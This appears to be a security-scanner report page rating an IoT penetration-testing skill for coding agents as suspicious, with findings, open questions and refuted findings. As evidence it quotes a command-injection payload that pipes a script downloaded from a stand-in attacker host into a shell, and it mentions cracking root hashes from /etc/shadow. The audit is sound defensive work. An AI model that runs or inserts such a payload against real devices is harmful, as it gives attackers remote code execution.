Announcing Beacon: Self-improving memory for coding agents
← All skills
Skill

performing-iot-security-assessment

skill:mukul975/anthropic-cybersecurity-skills#performing-iot-security-assessment

Performs comprehensive security assessments of IoT devices and their ecosystems by testing hardware interfaces, firmware, network communications, cloud APIs, and companion mobile applications. The tester uses firmware extraction and analysis, hardware debugging via UART and JTAG, network protocol analysis, and runtime exploitation to identify vulnerabilities across all layers of the IoT stack. Activates for requests involving IoT security testing, embedded device assessment, firmware security analysis, or smart device penetration testing.

Verdict
Suspicious

Risky behavior the analysis could not rule out.

Analyzed Oct 27, 2026, 23:16 UTC at 54a7988

Dispute security verdict

If you believe this verdict is incorrect, submit a dispute and we'll review it.

1
findings
critical
highest severity
1
threat classes
4,532
files scanned
65/65
checks satisfied
0
package advisories

Why this verdict

  • suspicious: finding skill:skills/performing-iot-security-assessment:skills/performing-iot-security-assessment/SKILL.md:154:EXEC
  • suspicious: floor fact PY-FETCH-EXEC-INSTRUCTED (DET:0191ce65fe29b101)
  • suspicious: floor fact PY-FETCH-EXEC-INSTRUCTED (DET:9c9a768d2bff589e)
  • suspicious: floor fact PY-FETCH-EXEC-INSTRUCTED (DET:c73a3c9de803b14f)

Security findings 1

Code execution

criticalContextual riskmedium confidence

The SKILL.md assessment scenario instructs the agent to use the command-injection payload '; wget http://attacker.com/shell.sh | sh', which fetches and pipes remote shell code from an external host into a shell, so the executed behavior lives outside the pinned commit.

; wget http://attacker.com/shell.sh | sh
conceal:remotevector:instruction
Counter-argument considered

The string is a documented command-injection payload shown in an authorized-pentest scenario against the device under test (D16), declared verbatim as claim D18 and covered by the declared core capability of achieving RCE via command injection (D12); no artifact code fetches attacker.com outside this documented scenario, so the carve-outs for documented attack payloads and declared core capability apply.

Open questions 3

What the analysis could not settle from the code alone.

Whether attacker.com in the scenario payload is intended as a generic placeholder for tester-controlled infrastructure or is a live fetch target; the artifact provides no controlled staging or substitution guidance.
Code execution
Residue items R2 ('uid=0'), R5 ('/'), R6 ('host') and R7 ('-w') appear to be detector false positives on example report output (the output of the id command), a firmwalker path argument, and tcpdump's -w pcap flag in documented capture commands rather than actual file-write capabilities; confirm no other view of these units shows real writes.
Whether the command-injection payload in the scenario (R4) is purely illustrative documentation or intended as an operative instruction the agent should replay against devices under test; the shown SKILL.md sections never reference scripts/agent.py, so the linkage between instructions and code is unestablished.
Code execution
Refuted findings 4

Candidates the review stage examined and rejected, kept for transparency.

Code execution

criticalRefutedlow confidence

The reference document instructs the agent to execute './firmwalker.sh <extracted_fs_root>/' from its working directory, a script the artifact is not shown to ship, so the agent would run unknowable content at runtime.

./firmwalker.sh <extracted_fs_root>/
Why it was refuted

This is an overt, labeled CLI reference for the documented Firmwalker scanner whose purpose is stated in the artifact itself; running named assessment tools is the declared core capability, and the artifact neither ships nor fetches the script nor conceals anything here.

Code execution

criticalRefutedlow confidence

The reference document instructs the agent to run 'python3 fat.py <firmware.bin>' to boot firmware in QEMU, a script the artifact is not shown to ship, so the executed content is unknowable at runtime.

python3 fat.py <firmware.bin>
Why it was refuted

The exact command is declared in SKILL.md Step 4 as the declared core capability of firmware emulation for dynamic testing; the reference merely restates the documented FirmAE/Firmadyne invocation, so the content is not unknowable-in-kind but a named public tool within the declared methodology.

Credential access

criticalRefutedlow confidence

The SKILL.md scenario instructs extracting and cracking the root password hash from /etc/shadow of the device under assessment, a credential-access step against stored password hashes flagged as an undeclared capability.

Find hardcoded credentials in `/etc/shadow` (root:$1$abc$hashedpassword)
Why it was refuted

The step is credential extraction and cracking from the device under assessment inside an explicitly authorized-pentest scenario, which the skill declares as its core capability (D13) and restates verbatim as declared claim D17 at this exact line; the declared-core-capability carve-out defeats the CRED claim.

Code execution

criticalRefutedmedium confidence

SKILL.md and references/api-reference.md instruct the agent to execute ./firmwalker.sh and python3 fat.py, scripts the artifact does not ship, so at runtime the agent would run whatever occupies those paths, code that no reviewer can inspect.

Use Firmwalker: `./firmwalker.sh squashfs-root/` for automated sensitive data discovery
Why it was refuted

The instruction names Firmwalker, a standard public firmware scanner, as an overt step of the declared firmware-analysis methodology (the skill likewise declares executing nmap/binwalk/tcpdump via subprocess); the artifact neither ships nor fetches the script, so this is the declared core capability rather than concealed artifact-controlled execution.